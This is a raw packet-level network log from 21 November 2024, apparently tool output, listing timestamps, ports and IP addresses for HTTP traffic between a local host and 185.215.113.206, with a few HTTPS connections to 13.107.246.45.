Nov 21, 2024 07:10:31.932128906 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.932188034 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.933939934 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.934001923 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.934017897 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.934043884 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.936167955 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.936187029 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.936290979 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.937405109 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.938689947 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.980796099 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.980941057 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.981002092 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.981106997 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.981473923 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.981539965 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.981574059 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.982234001 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.982904911 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.982974052 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.983059883 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.983160019 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.984354973 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.984483004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.984494925 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.984550953 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.985804081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.985934019 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.985960007 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.985960007 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.987250090 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.987308025 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.987345934 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.987452030 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.988730907 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.988806963 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.988876104 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.990195036 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.990252972 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.990407944 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.991605997 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.991689920 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.991729975 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.993004084 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.993099928 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.993134022 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.993134022 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.994419098 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.994468927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.994502068 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.994539022 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.995897055 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.995908976 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.996021986 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.997263908 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.997390985 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.997453928 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.997453928 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.998743057 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.998805046 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.998831034 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.998861074 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.000178099 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.000278950 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.000320911 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.000320911 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.001620054 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.001723051 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.001741886 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.001760960 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.003030062 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.003175020 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.003230095 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.003338099 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.004471064 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.004508018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.004547119 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.004547119 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.005933046 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.005980015 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.006040096 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.006149054 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.007345915 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.007397890 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.007428885 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.007428885 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.008837938 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.008910894 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.008924961 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.008979082 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.010220051 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.010282040 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.010314941 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.010443926 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.011672974 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.011698008 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.011733055 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.011812925 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.013115883 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.013171911 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.013257980 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.013401985 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.014543056 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.014606953 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.014631987 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.014700890 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.016901970 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.017010927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.017138004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.017200947 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.017621994 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.017690897 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.017697096 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.017815113 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.019074917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.019145966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.019229889 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.019329071 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.020490885 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.020603895 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.020628929 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.020975113 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.021929979 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.022033930 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.022043943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.022140026 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.023329020 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.023412943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.023432970 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.023474932 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.024698019 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.024807930 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.024821997 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.024863005 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.054225922 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.054842949 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.054922104 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.055275917 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.055295944 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.088135004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.088242054 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.088253975 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.088306904 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.088660955 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.088713884 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.088910103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.089034081 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.089052916 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.089107990 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.090142965 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.090204954 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.090233088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.090272903 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.091411114 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.091490030 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.091512918 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.091568947 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.092631102 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.092713118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.092767000 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.092804909 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.093904018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.094022989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.094022036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.094064951 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.095103979 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.095191002 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.095204115 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.095347881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.096327066 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.096431017 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.096462011 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.096560001 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.097527027 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.097564936 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.097579956 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.097644091 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.097671032 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.097681999 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.097714901 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.097810984 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.097829103 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.097840071 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.097845078 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.098813057 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.098952055 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.099138975 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.100064039 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.100135088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.100212097 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.100517035 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.100590944 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.100673914 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.100797892 CET	49822	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.100827932 CET	443	49822	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.101296902 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.101386070 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.101397991 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.101447105 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.102540016 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.102638006 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.102639914 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.102741957 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.103775978 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.103871107 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.103887081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.104027987 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.105026007 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.105094910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.105132103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.105187893 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.106252909 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.106385946 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.106554031 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.107495070 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.107585907 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.107656956 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.108735085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.108839989 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.108844995 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.109972954 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.110068083 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.110074043 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.111202002 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.111239910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.111239910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.111289978 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.111351013 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.155651093 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.156125069 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.156212091 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.156543016 CET	49818	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.156558037 CET	443	49818	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.182173014 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.182240009 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.182291031 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.182291031 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.182483912 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.182543039 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.182576895 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.182626963 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.183319092 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.183365107 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.183383942 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.183417082 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.184156895 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.184223890 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.184287071 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.184415102 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.185024023 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.185066938 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.185102940 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.185214996 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.185885906 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.185950041 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.186016083 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.186108112 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.186788082 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.186851025 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.186922073 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.186965942 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.187576056 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.187675953 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.187695980 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.187730074 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.188409090 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.188468933 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.188524008 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.188582897 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.189255953 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.189352989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.189379930 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.189483881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.190109015 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.190208912 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.190237045 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.190290928 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.190969944 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.191020966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.191071987 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.191123962 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.191811085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.191865921 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.191893101 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.191956043 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.192645073 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.192728043 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.192765951 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.192819118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.193517923 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.193566084 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.193629980 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.193708897 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.194367886 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.194448948 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.194484949 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.194535017 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.195193052 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.195305109 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.195348024 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.195348024 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.196058035 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.196126938 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.196167946 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.196167946 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.196917057 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.196990013 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.197029114 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.197118044 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.197748899 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.197803974 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.197822094 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.197882891 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.198596954 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.198657036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.198713064 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.198764086 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.199439049 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.199518919 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.199601889 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.199736118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.200287104 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.200418949 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.200532913 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.201211929 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.201284885 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.201349020 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.201381922 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.202014923 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.202085018 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.202120066 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.202164888 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.202872992 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.202970982 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.203126907 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.203217983 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.203735113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.203795910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.203836918 CET	80	49807	185.215.113.206	192.168.2.4
